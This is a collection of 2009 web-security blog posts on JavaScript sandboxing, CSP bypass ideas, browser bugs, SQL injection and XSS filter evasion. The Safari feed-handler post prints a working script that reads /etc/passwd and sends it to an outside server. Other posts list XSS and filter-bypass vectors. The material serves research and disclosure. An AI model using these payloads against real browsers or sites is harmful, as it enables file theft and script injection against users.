if you want to keep selling the idea that your McDonalds solution is the bread-and-butter of modern appsec innovation… best of luck to you. there’s plenty of analysts, whole appsec consulting businesses, bloggers, and podcasters that are all saying that a) you’re wrong, b) you sell a one-size-fits-all solution to companies that “don’t get it” which almost forces them to stay in the “don’t get it” mode near-permanently, and c) the jury is out and the case is closed: appsec consulting is the correct path and one-stop-shops that do one-off, cheap app pen-tests are so 2008.

Aftermath and reasoning

My comments were due in part to actual recent industry analyst research, so they were not unfounded or inappropriate. More to the point, they were factual and unbiased.

Chenxi Wang, Ph.D., Robert Whiteley, and Margaret Ryan of Forrester Research published a report entitled TechRadar For SRM Professionals: Application Security, Q3 2009 Application Security Comes Of Age Despite A Slowdown In Security Spend. The date on the report was July 18th, 2009.

In the report, several technologies were evaluated, including:
1. Application scanning
2. Application security consulting
3. Application security SaaS
4. Penetration testing
5. Protocol testing
6. Software protection
7. Source code analysis
8. Web application firewall
These topics and research are not new to our blog, where we have discussed many of them. Take these examples:

The Spanner

JSReg update

Posted: July 20th, 2009, 7:29am CDT by Gareth Heyes

Tags: Security [edit]
Big thanks!
I’ve done lots of updates to JSReg with some fantastic help from kangax, sirdarckcat, Thornmaker and mario.

Mario found some cool parsing bugs, sirdarckcat helped with some exploits that assigned to window and also provided some awesome code ideas and bugs. Thornmaker found ternarys cause problems with my object detection. I’d also like to thank Achim who helped me find a recursive regexp when he tested it on other browsers. Finally kangax’s input has been great providing me with some headaches trying to match RegExps that look like comments and many other parsing bugs. Thanks a lot guys! You’ve been awesome!

A lot has changed since my last post, it’s getting closer and closer to be used in real world applications and my new version of Hackvertor I didn’t expect to be able to parse as much code as it currently does and manage to keep the RegExps small. I try to match as little as possible as Javascript is a complex language.
How it works
In case you don’t know, JSReg is a Javascript sandbox with a difference. It uses Javascript itself to safely parse the code using regular expressions. This means that some features are removed from the Javascript language while in the sandbox, examples of these are access to the DOM like document.body etc. and Object methods like valueOf and toString. The goal is to produce safe Javascript from a untrusted source.

To see how it works check the following example:-
```
a='a';eval(u0061+'x6cx65x72x74x28u0034x32u0029');
```
The code assigns the letter “a” to a variable of “a”. Then the eval function is used with a unicode escape which translates to the variable “a” then it’s concatenated with various escapes to produce alert(42).

Here is the JSReg’d version:-
```
var $a$,$eval$;
$a$=globals.string('a');$eval$($a$+globals.string('x6cx65x72x74x28u0034x32u0029'));
```
So the rewriter identifies dangerous strings and converts them into safe strings. In this instance eval is renamed $eval$ which is a custom JSReg function that translates the content sent to it. All variables used are declared at the top which prevents them being assigned to the global window space. globals.string etc are a special JSReg object which defines a new prototyped version of String etc. to allow you to call whitelisted methods of the object.
Interface
That’s the basic idea of how JSReg works, the interface contains six textareas which shows the result of the JSReg evaluation. The first box is your code input, second is the JSReg conversion of your input, globals.eval contains the result of an eval operation and the code which has been rewritten, globals.function contains a similar output to eval but with Function code when calling new Function, the result returns the evaluated result after the code has been converted and the globals box at the bottom lists any global variables that might have escaped the sandbox.
Future and development
I always thought it was possible to use untrusted Javascript within Javascript itself, many other solutions had other languages as a requirement. I think JSReg is definitely getting there now after many of failed attempts. I plan to integrate sirdarckcat’s HTML parser too in future, to allow safe access to the DOM. Best of all I’m giving away this code, you can use it freely on your web site So please get involved! Find a exploit or a parsing error and help produce a native Javascript sandbox which is free for everybody to use.

Try out JSReg

Justice League

Moving Cybersecurity Past Cyberplatitudes

Posted: July 14th, 2009, 2:09pm CDT by gem

Tags: Software Security [edit]
John Pescatore from Gartner convened a virtual panel on the cybersecurity issue at the 2009 Gartner Information Security Summit. I provided a video for the panel answering two questions that John posed. The two questions get to the heart of the cybersecurity issue:

Question 1: What should the US government do to drive real improvements in the security level of internet use?

Question 2: What are things that you believe the US government should specifically not do in the name of increasing cybersecurity?

Click below to watch the video:

Press coverage:
- Gov’t Official: We’re Serious About Cybersecurity This Time
- Moving U.S. Cybersecurity Beyond Cyberplatitudes (InformIT)

The Spanner

Hidden Firefox properties revisited

Posted: July 14th, 2009, 4:28am CDT by Gareth Heyes

Tags: Security [edit]
This is the first time I’ve looked at the Firefox source, really! I wanted to find all the hidden properties Firefox has in Javascript. It was first pointed out to me by DoctorDan on the slackers forums when he found that the RegExp literal had a -1 value for the source in Firefox 2. I then made it my mission to find others because I thought it would be cool.

They seem to be flags within the source (Ronald mentioned this to me at some point too), I’m not sure how they are used internally or within Javascript. In the source code they are given the name tinyid so that’s what I’ll refer to them from now on.

Here’s how to use them:-
```
(function(){ alert(arguments[-3]) })()
```
Functions:-
CALL_ARGUMENTS = -1, predefined arguments local variable
ARGS_LENGTH = -2, number of actual args, arity if inactive
ARGS_CALLEE = -3, reference from arguments to active funobj
FUN_ARITY = -4, number of formal parameters; desired argc
FUN_NAME = -5, function name, “” if anonymous
FUN_CALLER = -6 Function.prototype.caller, backward compat

RegExp:-
REGEXP_STATIC_INPUT = -1,
REGEXP_STATIC_MULTILINE = -2,
REGEXP_STATIC_LAST_MATCH = -3,
REGEXP_STATIC_LAST_PAREN = -4,
REGEXP_STATIC_LEFT_CONTEXT = -5,
REGEXP_STATIC_RIGHT_CONTEXT = -6

REGEXP_SOURCE = -1,
REGEXP_GLOBAL = -2,
REGEXP_IGNORE_CASE = -3,
REGEXP_LAST_INDEX = -4,
REGEXP_MULTILINE = -5,
REGEXP_STICKY = -6;

E4X:-
NAMESPACE_PREFIX = -1,
NAMESPACE_URI = -2

QNAME:-
QNAME_URI = -1,
QNAME_LOCALNAME = -2

As I find more I’ll add them here, I know strings uses -1 for the length but I’ll wait till I find all of them for the string object.
New beta of JSReg

Posted: June 26th, 2009, 8:18am CDT by Gareth Heyes

Tags: Security [edit]
I’ve been slowly developing JSReg over the last few months and I’ve dropped lots of code and redone it many times. This latest version is a code rewriter and will sandbox most javascript properties and the goal is to produce a complete locked down version (which can be improved upon later).

So far it’s going well, I think the experience of hacking sandboxes and hacking my own code has resulted in a better version. I’d like to thank Sirdarckcat (Eduardo Vela) for testing and giving me some great suggestions.

There are a couple of bugs and limitations, at the moment arrays don’t work because of a bug in [] object syntax. I hope to fix this soon though. It also eats new lines when using functions or other stuff, you can get round this at the moment by using ; after the function declaration. The alert function is only supported at the minute but I plan to add more once the code is a bit more stable. Finally there is no DOS protection at the minute and you can probably throw objects in the global scope although you should be able to access other globals or modify them.

So can you break it? Execute code not intended like Function or maybe access global variables other than the $_ prefix and suffix allowed.

Here is a code sample that works fine:-
```
function x(){ var m=1; this.getM=function(){ return m; } }; y=new x; y.getM()
```
New JSReg!
CSP - Mozilla content security policy

Posted: June 23rd, 2009, 1:38pm CDT by Gareth Heyes

Tags: Security [edit]
This is my cup of tea, a whole new way to prevent XSS and related attacks. I’ve been looking at the specification and I like the core of the policy preventing external scripts, eval etc. But reading it I started to think of ways around it because it’s fun
Meta tag
The meta tag seems like a bad idea to me, if a site enforced the policy from a http header then a attacker controlled meta tag could merge policy data with an attacker’s evil policy.
Code will not be created from strings
I’m not sure what this is meant to prevent as the allowed section states it allows setTimeout, setInterval with functions as an argument. So you can do this:- setTimeout(function(){alert(1);//any code}); Or redefine existing functions, I’m not sure that preventing tainted javascript will work this way as there are many ways to obfuscate and execute code.
Abusing the whitelist
Finally my other idea was injecting javascript onto itself using a HTML page. This assumes the CSP policy allows scripts to be executed from it’s own domain. The attack also relies on the fact that you can control the output of the entire page or the output is in quirks mode with any E4X breaking code. So the vectors would work like so:-

The script is commented out when the HTML is executed because it references itself as javascript.
```
alert(1)//
```
Here the script injects itself and the resulting javascript ignores the script tag as inline e4x:-
```
alert(1);;
```
Demo’s of the vectors are available here:-
CSP1 without E4X
CSP2 with E4X
Update…
I’ve updated the vectors and made the e4x one more realistic. Here is a Firefox 3.5 version which gets round the “whole program” error by splitting the HTML and inserting a Javascript statement:-

CSP3 with e4x FF 3.5

Of course these attacks are theoretical because I’ve not actually had chance to test CSP, is there a beta? Anyway these vectors could easily be protected by enforcing script content to have the correct headers and not allow HTML data.
Minor Safari cross domain bug

Posted: June 19th, 2009, 4:42am CDT by Gareth Heyes

Tags: Security [edit]

I found this while writing Astalanumerator. Safari allows you to overwrite top and parent with native code and maybe other stuff (I haven’t tried). This allows you to define something on domain A and call it on domain B using the top and parent. I’d email Apple about it but the last time I reported XSS on the Apple store they ignored me.

You could use this in dom based XSS situations when you have control over a link. The attack would work like this:-

PHPIDS

But the remote site would include a iframe to the target page and refining parent/top as setTimeout or eval. You could also use “name” in this instance to provide a XSS payload.

Here is the POC for the cross domain in action, I use subdomains in this instance but any domain could be used:-

Safari poc

Justice League

50 Ways to Inject Your SQL

Posted: June 16th, 2009, 11:39am CDT by Guest

Tags: Software Security [edit]
This is a guest post by Cigital’s resident songwriter Paco Hope.

Sometimes we just let our hair down and have a good laugh over security stuff. I was telling my wife about some ridiculous code I had recently reviewed. While I didn’t go into details, she got the gist of it (she also gets “Little Bobby Tables,” too). I finished my story by offhandedly saying “there must be 50 ways to bypass their SQL protections.” She responded by singing “there must be 50 ways to inject your SQL” and that’s how the whole thing got started.

So what was it that was so ridiculous that it brought me to sing? Here’s the pseudocode of a routine called “ValidateQuery()”. Its role is to take user input from a .Net application and validate it to remove potential injection.
```
ValidateQuery():
WordArray = TokenizeString( ‘ ‘ ); /* split on space characters */
For each Word in WordArray
    if it is ‘delete’ then return
    if it is ‘purge’ then return
    if it is ‘drop’ then return
    if it is ‘truncate’ then return
End For
```
That’s it. If your string contained anything else (for example ‘update’), it would be fine. They did do a case-insensitive match, so ‘dElEtE’ would get caught, but that’s hardly praiseworthy. This was the sole protection against user input that was fed—good ole string-concatenation style—into SQL queries.

Note that this is NOT a web application, this was a Windows EXE written in C#.Net. For those of you who think SQL injection is a web only problem, think again. The other classic screw-up in this application was putting all the enforcement of roles and access controls in the client itself. While this may work when your business logic runs on an application server in a 3-tier architecture (that presumably cannot be controlled or modified by the end user), that approach doesn’t work when the business logic runs on the user’s PC. A quick SQL injection to change your roles in the database, and this thick client would start working for you just fine—as admin, or a higher privileged user.

The motherhood and apple pie lessons to take away?
- SQL Injection can happen, even in EXEs
- Don’t roll your own protection, use parameterized queries
- Don’t trust business logic that runs on a user’s PC
Musically, I’m pretty proud of the fact that I managed to use the words “unhandled exception” in a song. They fit the rime and meter perfectly. I’m trying to come up with a tune to parody for cross-site scripting. If you have ideas, I’m open. I think I’ll get someone else to sing next time. A kind of Gilbert & Sullivan arrangement where I’ll just be the librettist. :)

Billy (BK) Rios

Safari 3.2.2 Feed Protocol Handler Issues

Posted: June 9th, 2009, 2:37am CDT by xssniper

Tags: Security [edit]

A few weeks ago, Apple released a patch for their Safari browser. The patch included a fix for a RSS feed handling vulnerability I had reported to them a while back. The advisory can be found here. This particular vulnerability is actually a variation of a previous RSS feed handling vulnerability I had reported to Apple earlier in the year. The details of the original vulnerability can be found here. Once PoC for the original bug was made public, a researcher named Alfredo Melloni contacted me about some additional weaknesses in Safari’s feed handling. Here’s what we ended up with:

Safari can consume various RSS feeds for video content and music from iTunes. These RSS feeds contained information for each item on iTunes including ID, title, summary, and links to download the content. The RSS feed file looked something like this:

<?xml version=”1.0″ encoding=”utf-8″?>
…
<entry>
<updated>2009-02-16T05:17:15-07:00</updated>
<id>http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewTVSeason?i=305318825&id=287463411&s=143441</id>
<title>No Exit – Battlestar Galactica ('04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.</summary>
<im:name>No Exit</im:name>
<link rel=”alternate” type=”text/html” href=”http://www.google.com” />
<im:contentType term=”TV Show” label=”TV Show”><im:contentType term=”TV Episode” label=”TV Episode”/></im:contentType>
<category term=”Sci Fi & Fantasy” scheme=”scheme”/>
…
</entry>
</feed>

Safari has some routines to sanitize and encode data in order to prevent the execution of user controlled JavaScript under the feed:// protocol handler. As you may remember from my previous post, JavaScript executed under the feed protocol handler is privileged and is granted access to the local file system. Alfredo discovered a way to bypass the built in filters for the feed protocol handler, allowing us to inject user controlled JavaScript. The specific issue here involves the attacker controlled content provided to the “Summary” tags within the RSS feed file. It seems that the content provided to the summary tag was missed by the encoding routines built into Safari. We simply place Script tags within the summary tags and serve the file from our own server.

…

<title>No Exit – Battlestar Galactica ('04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></summary>
<im:name>No Exit</im:name>
…

Which is converted to HTML by Safari and rendered under feed:// as:

…
<div class=”apple-rss-author” title=”iTunes Store”>iTunes Store</div>

<div class=”apple-rss-summary” >On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></div>

<div class=”apple-rss-date” title=”Feb 16, 4:17 AM”>Feb 16, 4:17 AM</div>
…

Since alert boxes are lame, below is a payload to steal the /etc/passwd file from a Mac running vulnerable versions of Safari (<3.2.2):

<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.
<script>
var contents;
var req;
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open(‘GET’, ‘file:///etc/passwd’, true);
req.send(”);

function processReqChange() {
if (req.readyState == 4) {
contents = req.responseText;
sendit2XSSniper(contents);
}
}
function sendit2XSSniper(stuff){
var req2;
req2 = new XMLHttpRequest();
req2.open(‘POST’, ‘http://xs-sniper.com/sniperscope/catcher.php’, true);
req2.setRequestHeader(‘Content-Type’,'application/x-www-form-urlencoded’);
req2.send(‘filename=etcpasswd&filecontents=’+escape(stuff));
}
</script>
</summary>

This flaw affected Safari 3.2.2 and certain versions of Safari 4 Beta. Both Windows and Mac systems were affected. Proof of concept can be found here (PoC, displays /etc/passwd or boot.ini in an alert box). On Windows systems, the encoding and sanitization routines for feed:// are held in pubsub.dll Happy hunting!

BK

The Spanner

Asta la vista baby

Posted: June 5th, 2009, 8:14am CDT by Gareth Heyes

Tags: Security [edit]

A quick update to Astalanumerator, it is now much better. No crashes and a completely new interface. I use a tree menu to traverse objects which can go on forever if you wish. It uses two display windows now, one displays the tree menu and the other displays extra details about the object when clicking.

In addition it checks for window leaks on the object clicked, I use a few methods for this but if anyone has any ideas for additional checks then please leave a comment. There is no property limits at all now because of the revised interface.

New astalanumerator

Disenchant's Blog

Firefox Security Tool Kit - FSTK v4.0

Posted: June 3rd, 2009, 8:36am CDT by Disenchant

Tags: Security [edit]

There’s a new version of the Firefox Security Tool Kit (FSTK) online
Download and/or Install the FSTK v4.0 now

You’ll find more information on the FSTK here but the Extensions have changed.

At this point I also wish to thank Kaspar Brand (the developer of Cert Viewer Plus) for letting me know, that there where some licensing problems.

Justice League

New Security Reads

Posted: June 2nd, 2009, 1:03pm CDT by gem

Tags: Software Security [edit]

IEEE S&P: Securing Online Games (vol.7, no.3)

IEEE Security & Privacy magazine remains the most important trade periodical on security published today. Though the content is on rare occasion esoteric, the magazine is always technically accurate and detailed. Only a peer reviewed publication can offer readers a look at computer security as a science. Think of it as applied academics.

I am pleased to announce that IEEE Security & Privacy magazine’s May/June 2009 edition was recently released. The issue (volume 7: number 3) covers Securing Online Games in a series of four peer reviewed articles that help define the state of the practice.

For more about the issue, see: [www.computer.org]

Also in the same issue is a print transcript of Silver Bullet 36. That’s the episode where James McGovern turned the tables and interviewed me. That transcript is on the web here.

Beautiful Security

Also of note is a book of thoughtful essays on security put together by John Viega (once a Cigitalite) and Andy Oram. Here’s my original blurb from the back cover:

“This collection of thoughtful essays catapults the reader well beyond deceptively shiny security FUD (the drum major of the bug parade) toward the more subtle beauty of building security in. Security is an essential emergent property for all modern systems—something that most people implicitly expect and few people explicitly receive. This book demonstrates the yin and the yang of security, and the fundamental creative tension between the spectacularly destructive and the brilliantly constructive. Read. Learn. Emulate.”

I’m still working my way a second time through the assembled essays from security stars including mudge, Betsy Nichols, Phil Zimmermann, Mark Curphy, and Jim Routh. This is a must read for 2009.

The Spanner

New PHPIDS vector

Posted: June 1st, 2009, 5:27am CDT by Gareth Heyes

Tags: Security [edit]
No new PHPIDS vectors for a while? So I thought I’d write a new one as I had 5 minutes spare while drinking my coffee. I used a new technique (as far as I’m aware) to make things easier A very old feature in IE is to allow events to be declared as vbscript using the language attribute. This has been used in some very old code but never in XSS, it’s definitely not on the cheatsheet.

Anyway here is the vector:-
```
<b/alt="1"onmouseover=InputBox+1 language=vbs>test</b>
```
POC

You have to rollover the bold “test” on the page to execute and allow scripted windows. The errors are related to the dom injections that are not valid because it’s a HTML injection. You could get round the scripted windows dialog by using other code but I only had 5 mins.

VBScript doesn’t require () to call functions and the plus converts 1 to a number (which it already is), this is used to bypass the need to use quotes within that particular attribute.

Note the XSS Filter in IE8 catches this vector.

Justice League

Security and ‘time’

Posted: May 20th, 2009, 3:13pm CDT by jOHN

Tags: Software Security [edit]
Ben Tomhave wrote a decent post musing “Which came first: The Software or The Security?”.

In particular, Ben asks whether the response an organization has to its security problems should possess a time component. “Yes”, he answers his own question emphatically. I agree, and for a few reasons worth expounding on.

…the only difference between today and yesterday
If you’re effective at assessment, you’ll often leave an organization’s apps in shambles. Somewhat older data I have indicate an expectation for 10 critical vulnerabilities / 100KLoC, with 30-40 high-risk vulnerabilities following suit(*1). Organizations holding their broken app at arms length panic. “We’ve got to pull it from production!”, they exclaim. Others take a different approach, “We’ll stop everything until those vulnerabilities are fixed–no more features.”

This behavior is irrational and needs to be quelled. The only difference between “today” and “yesterday” in this situation is that the organization knows how screwed they are (*2).

Ben indicates that visible risks should be prioritized based on a risk management framework. Ostensibly, we’re very much in agreement on that one. There may be vulnerabilities that deserve such “stop the press” kind of treatment, but there is often a normalization process that must occur before that set is culled from an assessment (*3).

After that triage, the rest (of the vulnerabilities), and I’ve said this before, should enter the change-management/bug-tracking process like everything else: features, customer complaints, and so forth. Dealing with security vulnerabilities in-band both sobers security analysts’ dreams of the all-important ’sploit and raises the respectability of security requirements within the normal development process by treating them as first-class citizens of a release process.

Depending on whether an organization has rapid-turn around (as happens when development engages in weekly sprints, organized through SCRUM) or more monolithic develop cycles, these change requests can be weighed from the perspective of whether or not they should be:
2. Released out-of-band as a patch
3. Included in the next planned release, potentially:
  - At the expense of other functions/features
  - At increased expense,
  or:
4. Deferred until a future release
Sometimes, the ‘correct’ answer is to conduct a usability study, or revisit the SLA promised by a system/service, and get feedback as to what form the fix will take before any of the above can happen.

In summary, time continues to elapse at a constant rate. In this case visibility is increasing. Visibility should allow for a better risk management decision, not a knee-jerk reaction.

Moreover, it’s important to discern the difference between 1) the organization’s increased visibility into vulnerabilities, not 2) an increased discoverability of the vulnerability itself. Yes, if the assessor used an automated pen-testing tool to find the vuln., it is probably pretty discoverable, but the organization’s knowledge of the vuln. does not increase it’s discoverability(*4).

Onto the next element of time…

0 to 60mph in?
Ben also rightly indicates (paraphrasing) knowing there’s a gap between you and the security posture you’d like to have, you’re not going to get there instantaneously. Very true. This, in my mind, is where organizations could improve the most. Most organizations I talk to have dashboards showing quantities like
- Percentage of applications in compliance with assessment policies;
- Number of outstanding critical + high vulnerabilities;
- Time to remediate critical + high vulnerabilities;
- <Metric du jour>
However, when asked-from the simplest risk perspective-”Are you any less vulnerable to phishing this year?”, or, “Can you provide a greater assurance case around the [confidentiality] of [this key asset]?”, the answer is <blink> <blink>. Yes, there are some exceptions to this.
I’d like to see organizations begin managing to security goals like:

…Next year, we expect no application providing access to [asset X] to be vulnerable to discoverable by an external Threat, be he/she authorized or not, accessing our systems only through the web;

…in three years, we expect no vulnerability that would provide access to [asset X] with any Internet-facing software, regardless of immediate discoverability or exploitability (by an external threat);

…in that same three-year time frame, we also expect no Internet-facing apps. to fall prey to [common web attacks, listed in the SANS Top 25(*5) (aka: CSRF et. al.)] that would result in impersonation and therefore allow for inappropriate access to [asset X] on behalf of an unwitting user.

I’m attempting to extend Ben’s call for a time-based (I’ll call it iterative) approach to responding to security gaps. The previous paragraph proxies for what a more advanced risk management framework would incorporate in the form of probability (discoverability x exploitability x [other factors]). Remember, however, that the [asset X] clauses of these statements proxy for different but important factors in your risk model: intrinsic value of the information asset.

So, whether you’re using a formal risk management framework, or doing it more informally, you can respond iteratively and get time back on your side: having a story about how you’re measurably reducing organizational risk in a meaningful fashion.

Compare this with the alternatives:
2. A straight linear approach – fixing 80% of XSS bugs within an application has what effect on the overall security posture?
3. The bug-of-the-month approach – ‘fixing’ 100% of the CSRF problems within an app, but leaving all the XSS has what effect on the overall security posture?
4. Stopping the presses – fixing 100% of the bugs, and not allowing business functionality to evolve in the balance does what to your business opportunity/revenue stream?
And I think you’ll be satisfied with the trade-off (through formal risk modeling or informally).
Finally,

Within a single vulnerability’s remediation, I’ve got trade offs
Yes, within the scope of a single killer finding, organizations have to decide how to trade off the time it takes to field a mitigation and the effectiveness of that mitigation on the security posture (queue the “dynamic patching” vs. “fix it in the code and re-deploy” flame).

This, just like our previous two topics, is a matter of risk management. I implore organizations to consider what the capabilities and motivations of their opponent are in this case. If you’re considering protecting against a web-vulnerability delivered through a URL parameter, a WAF rule will prevent a vulnerability scan from finding the ‘fixed’ problem but is unlikely to thwart a skilled penetration tester from manipulating the order of the innocuous and malicious parameters. WAF rules, then, are likely to provide a rapid response to failed scans and simpleton attackers but not concerted attacks of this sort. This same sort of analysis can be done on code-based fixes. When assessments find input validation problems, the development team will often respond by doing a simple (arbitrary) length check, or by black-listing particular SQL characters.

When I was quoted in a Darkreading article as saying costs to fix were [so low], it was these spot-fixes to which I referred. These fixes don’t (often) fully remediate that particular vulnerability (even in that narrow locale) let alone improve the application’s overall security posture. But, I’d say they’re the most common response to an assessment finding. Like McGraw says regarding the BSIMM data, “we observed monkeys eat bananas; is that good? I don’t know.”

Having considered an attacker’s capabilities and motivation, and the value of what you’re protecting… an organization might in fact choose to engage in such cat-and-mouse play as the trivial fixes above imply, engineer a real fix, employ some combination of both, or off-load risk in an entirely different way.

Just like before, however, it’s unlikely the vulnerability was created yesterday, so the software has been vulnerable for some time. When risk analysis has occurred, and the full cost of a complete solution is resolved, complete with its own residual risk calculation, it’s very likely that a practical organization will tier its response, iterating in time.

Thanks for the post, Ben.
-jOHN

(*1) – Within a Java EE app found through tool-assisted code review with no preference for having been reviewed prior or not (be it prior code review or penetration test). Critical and High in these cases varied somewhat, but always having been seen by the client as exploitable and accepted for remediation by development.

(*2) – This is somewhat glib. More accurately, the organization has increased its visibility into what vulnerabilities its software possesses. It can not say these are the only vulnerabilities the software possesses, and, using purely code review, it can not always say with 100% confidence that detected vulnerabilities are exploitable; some statically determined findings are obviously exploitable whereas others will require dynamic verification.

(*3) – This normalization is even more important if the assessment was delivered by a 3rd party tool or assessor conducting their first run/engagement with an organization. Internal assessment teams often have it easier; they should know/conform to the business unit’s risk management measurement memes.

(*4) – Unless they have a really terrible vulnerability management process or a shady security vendor ;-)

(*5) – Indeed, I have suggested use of a Top N list. Here, I’m using it to indicate a priority implicit in industry opinion. Better to augment that clause with [the most common types of attacks observed in our production environment and the #1 emerging attack our security research team advises us on].

Michael Howard's Web Log

Integrating the SDL process into Visual Studio

Posted: May 19th, 2009, 11:53am CDT by michael_HOWARD

Tags: SDL Tools Security [edit]

I’ve been a firm believer of integrating as much security tooling as possible into the development process so developers can get on with developing code and designing solutions rather than having to constantly think about dotting the security “i”s and crossing the security “t”s.

The less security “friction” the better, because the more you can automate the more progress you can make.

Jeremy Dallman has just announced that we have released the Microsoft SDL Process Template for Visual Studio Team System, and yes, it’s free.

I think this is a huge step forward because now software development teams outside of Microsoft can more easily track their adherence to the SDL.
Technorati Tags: SDL,Tools

Justice League

Twitter Security

Posted: May 18th, 2009, 12:06pm CDT by gem

Tags: Software Security [edit]

I just published a little ditty on Twitter security that is bound to get some interesting feedback. My bet is that much of the feedback is less than 140 characters long!

My friend Joe Faber (of Spaghettios fame) sent me this Youtube video, which I think sums up Twitter nicely:

Your longer feedback is welcome below!

The Spanner

Astalanumerator baby

Posted: May 18th, 2009, 7:44am CDT by Gareth Heyes

Tags: Security [edit]

I wanted to map all properties in javascript and inspect them regardless if they were objects or not. IE doesn’t support for(i in..) for native properties like constructor etc. So I decided to write a cross platform enumerator that could map everything. I decided to call it “Astalanumerator” as a silly reference to terminator combined with enumerator.

It works using a list of js properties stored within an array, you pass an object to it and it checks each of the properties using the array and attempts to navigate through it. Originally I had it enumerating until it reached null but this caused every browser to lock up as some objects went on forever, so I put some limits in place.

I use timeouts to prevent browser lockups and I use list elements to indent each of the objects, this is nice because I can delay the result and continue the loop while the object has finished enumerating. The third parameter of the inspect function handles this by storing the target element so each of the objects can be linked together.
Limits
The limits in place help stop browser crashes here is how they work:-
1. Number of properties to enum:
This is the limit of valid properties of the object, it will only evaluate 10 per object by default.
2. Number of inner properties to enum:
The inner properties limit is the amount of child properties to enumerate.
3. Only enum objects?:
This option allows you to enum all properties even numbers, by default it is restricted to objects only.

Astalanumerator demo
Hackvertor obfuscated code tutorial

Posted: May 14th, 2009, 3:37pm CDT by Gareth Heyes

Tags: Security [edit]

I thought I’d post a quick tutorial on how Hackvertor can be used to decode obfuscated javascript. This is based on a real request on sla.ckers. I’ll walk you through the code and tidy it up and show you how to use the advanced tags to easily decode the encoded string.
Warning disclaimer
Do not try and execute the javascript provided, only use it within the Hackvertor input window. I have not executed or tested what the code does I have only decoded. Use this tutorial at your own risk.
Decoding
I’ve tidied up the code if you would like to see how it’s encoded.

The code is quite simple, a large string is used as the payload which I’ve renamed “payload”. “r28″ does nothing it is a empty string, I guess it’s there to make decoding more difficult. It doesn’t.

The payload is then looped through until the end of the string and two characters are extracted in each loop. These two characters are passed to a “fromHex” function which I’ve helpfully renamed and the parseInt function is used to transform the characters from hex into decimal numbers.

Then the result is stored in the “decoded” string which again I’ve renamed, before finally passing the decoded string to the document.write call which sends the result to be outputted to the page.
Light work for Hackvertor
Pretty easy so far eh? The code isn’t heavily obfuscated and is pretty easy to understand. I’ve talked about making it more difficult but no matter how difficult it is the encoding will eventually lose the race.

To decode it with Hackvertor we need to first remove any unneeded strings like the “r28″ variable which actually contains nothing. We can do this with the replace tag in Hackvertor, look in the HVURL at the bottom and you’ll see the first replace tag. Remember Hackvertor works from the inner part outwards.

The first part is just the name and number of the tag “replace_25″, the parenthesis indicate that it’s a Hackvertor parameter. In this case replace accepts “find this” as the first param and a second param which is the replace string. So we use “‘+r28+’” to find the blank variable and replace it with nothing. It works as a regular expression that’s why the + has been escaped.

Next we use the replace tag again to remove all instances of single quotes or semi-colons

Then we use the

tag to extract the two hex characters we require again this is a regular expression. This tag returns the matches as a comma separated list.

We use the comma separated hex values with our next tag

which loops through the commas and converts every hex sequence into decimal. The param tells the tag to use a regular expression to split the characters in this case it is commas.

is used to convert our now decimal sequence of characters into the actual characters from the character code number. This tag does not use params.

Finally I use

to find the urlencoded sequence, replace any unwanted characters with

which removes all single quotes.

simple urldecodes the sequence which returns our decoded string.

The final result is available here and the javascript never gets executed only decoded.

It turns out I was right. Originally I thought the protocols reported by my javascript fuzzer were false positives but as like lots of my code it seems to know better than me I tested the context of the vectors in a normal HTML link which didn’t work correctly. But I was messing with some XSS in Hackvertor today with the latest copy of Opera and I found they worked.

Surprisingly Opera still supports the table background vector and combining my protocol discoveries you can create some cool additional vectors. The table background vector looks like this:-

<table background=javascript:alert(1)>

Now we can combine it with some of the unicode characters that work after the javascript string and before the colon:-

<table background=javascript&#14848:alert(1)>

The characters can be repeated many times like this:-

<table background=javascript&#14848&#14848&#14848&#14848&#14848:alert(1)>

Lots of other characters seem to be affected, I’ve randomly tested a few like 11520 but I haven’t verified them all. Here are a list of the characters:-

Char:9,Link:javascript&#9:
Char:10,Link:javascript&#10:
Char:13,Link:javascript&#13:
Char:58,Link:javascript&#58:
Char:2048,Link:javascript&#2048:
Char:2304,Link:javascript&#2304:
Char:3840,Link:javascript&#3840:
Char:4096,Link:javascript&#4096:
Char:4256,Link:javascript&#4256:
Char:4352,Link:javascript&#4352:
Char:4608,Link:javascript&#4608:
Char:4864,Link:javascript&#4864:
Char:5120,Link:javascript&#5120:
Char:5376,Link:javascript&#5376:
Char:5632,Link:javascript&#5632:
Char:5888,Link:javascript&#5888:
Char:6400,Link:javascript&#6400:
Char:6656,Link:javascript&#6656:
Char:7424,Link:javascript&#7424:
Char:7936,Link:javascript&#7936:
Char:7944,Link:javascript&#7944:
Char:11520,Link:javascript&#11520:
Char:12544,Link:javascript&#12544:
Char:13312,Link:javascript&#13312:
Char:13568,Link:javascript&#13568:
Char:13824,Link:javascript&#13824:
Char:14080,Link:javascript&#14080:
Char:14336,Link:javascript&#14336:
Char:14592,Link:javascript&#14592:
Char:14848,Link:javascript&#14848:
Char:15104,Link:javascript&#15104:
Char:15360,Link:javascript&#15360:
Char:15616,Link:javascript&#15616:
Char:15872,Link:javascript&#15872:
Char:16128,Link:javascript&#16128:
Char:16384,Link:javascript&#16384:
Char:16640,Link:javascript&#16640:
Char:16896,Link:javascript&#16896:
Char:17152,Link:javascript&#17152:
Char:17408,Link:javascript&#17408:
Char:17664,Link:javascript&#17664:
Char:17920,Link:javascript&#17920:
Char:18176,Link:javascript&#18176:
Char:18432,Link:javascript&#18432:
Char:18688,Link:javascript&#18688:
Char:18944,Link:javascript&#18944:
Char:19200,Link:javascript&#19200:
Char:19456,Link:javascript&#19456:
Char:19712,Link:javascript&#19712:
Char:19968,Link:javascript&#19968:
Char:20224,Link:javascript&#20224:
Char:20480,Link:javascript&#20480:
Char:20736,Link:javascript&#20736:
Char:20992,Link:javascript&#20992:
Char:21248,Link:javascript&#21248:
Char:21504,Link:javascript&#21504:
Char:21760,Link:javascript&#21760:
Char:22016,Link:javascript&#22016:
Char:22272,Link:javascript&#22272:
Char:22528,Link:javascript&#22528:
Char:22784,Link:javascript&#22784:
Char:23040,Link:javascript&#23040:
Char:23296,Link:javascript&#23296:
Char:23552,Link:javascript&#23552:
Char:23808,Link:javascript&#23808:
Char:24064,Link:javascript&#24064:
Char:24320,Link:javascript&#24320:
Char:24576,Link:javascript&#24576:
